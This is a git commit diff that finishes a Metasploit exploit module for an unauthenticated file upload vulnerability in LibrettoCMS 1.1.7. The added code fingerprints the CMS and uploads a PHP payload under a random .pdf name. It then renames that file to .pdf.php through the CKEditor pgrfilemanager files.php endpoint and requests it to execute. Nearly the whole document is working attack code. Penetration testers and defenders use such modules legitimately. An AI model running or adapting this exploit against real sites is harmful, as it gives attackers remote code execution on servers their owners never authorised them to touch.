Commit final version

Author: wchen-r7

modules/exploits/unix/webapp/libretto_upload_exec.rb

@@ -15,9 +15,12 @@ class Metasploit3 < Msf::Exploit::Remote
 
 	def initialize(info={})
 		super(update_info(info,
-			'Name'           => "Libretto CMS Arbitary File Upload Vulnerability",
+			'Name'           => "LibrettoCMS File Manager Arbitary File Upload Vulnerability",
 			'Description'    => %q{
-				Whatever
+				This module exploits a file upload vulnerability found in LibrettoCMS 1.1.7, and
+				possibly prior.  Attackers bypass the file extension check and abuse the upload
+				feature in order to upload a malicious PHP file without authentication, which
+				results in arbitary remote code execution.
 			},
 			'License'        => MSF_LICENSE,
 			'Author'         =>
@@ -27,6 +30,7 @@ def initialize(info={})
 				],
 			'References'     =>
 				[
+					['OSVDB', '94391'],
 					['EDB', '26213']
 				],
 			'Payload'        =>
@@ -40,7 +44,7 @@ def initialize(info={})
 					[ 'Linux x86'            , { 'Arch' => ARCH_X86, 'Platform' => 'linux'} ]
 				],
 			'Privileged'     => false,
-			'DisclosureDate' => "Jun 17 2013",
+			'DisclosureDate' => "Jun 14 2013",
 			'DefaultTarget'  => 0))
 
 			register_options(
@@ -56,12 +60,23 @@ def peer
 
 
 	def check
+		res = send_request_raw({'uri' => normalize_uri(target_uri.path)})
+		if not res
+			print_error("#{peer} - Connection timed out")
+			return Exploit::CheckCode::Unknown
+		end
+
+		if res.body =~ /Powered by <a href=".+">Libretto CMS/
+			return Exploit::CheckCode::Detected
+		end
+
+		Exploit::CheckCode::Safe
 	end
 
 
 	def upload(base)
 		p     = get_write_exec_payload(:unlink_self=>true)
-		fname = "payload.php.doc"
+		fname = "#{Rex::Text.rand_text_alpha(6)}.pdf"
 
 		data = Rex::MIME::Message.new
 		data.add_part(fname, nil, nil, "form-data; name=\"Filename\"")
@@ -79,16 +94,23 @@ def upload(base)
 			'vars_get' => {'type'=>'all files'}
 		})
 
-		return fname
+		if not res
+			fail_with(Exploit::Failure::Unknown, "#{peer} - Request timed out while uploading")
+		elsif res.code.to_i != 200
+			fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Unknown reply: #{res.code.to_s}")
+		end
+
+		fname
 	end
 
 
 	def rename(base, original_fname)
-		new_name = "BBBBBBBB.pdf"
-		uri = normalize_uri(base, 'adm', 'ui', 'js', 'ckeditor', 'plugin', 'pgrfilemanager', 'php', 'files.php')
+		new_name = "#{Rex::Text.rand_text_alpha(5)}.pdf.php"
+		uri = normalize_uri(base, 'adm', 'ui', 'js', 'ckeditor', 'plugins', 'pgrfilemanager', 'php', 'files.php')
 		res = send_request_cgi({
 			'method'    => 'POST',
 			'uri'       => uri,
+			'vars_get'  => { 'type' => 'all files' },
 			'vars_post' => {
 				'fun'         => 'renameFile',
 				'dir'         => '',
@@ -97,25 +119,34 @@ def rename(base, original_fname)
 			}
 		})
 
-		return new_name
+		if not res
+			fail_with(Exploit::Failure::Unknown, "#{peer} - Request timed out while renaming")
+		elsif res.body !~ /"res":"OK"/
+			fail_with(Exploit::Failure::Unknown, "#{peer} - Failed to rename file")
+		end
+
+		new_name
 	end
 
 
 	def exec(base, payload_fname)
-
+		res = send_request_cgi({ 'uri' => normalize_uri(base, 'userfiles', payload_fname) })
+		if res and res.code.to_i == 404
+			fail_with(Exploit::Failure::NotFound, "#{peer} - Not found: #{payload_fname}")
+		end
 	end
 
 
 	def exploit
 		base = target_uri.path
 
 		print_status("#{peer} - Uploading malicious file...")
-		fname = upload(base)
+		orig_fname = upload(base)
 
-		print_status("#{peer} - Renaming #{fname}...")
-		fname = rename(base, fname)
+		print_status("#{peer} - Renaming #{orig_fname}...")
+		new_fname = rename(base, orig_fname)
 
-		print_status("#{peer} - Executing #{fname}...")
-		exec(base, fname)
+		print_status("#{peer} - Executing #{new_fname}...")
+		exec(base, new_fname)
 	end
 end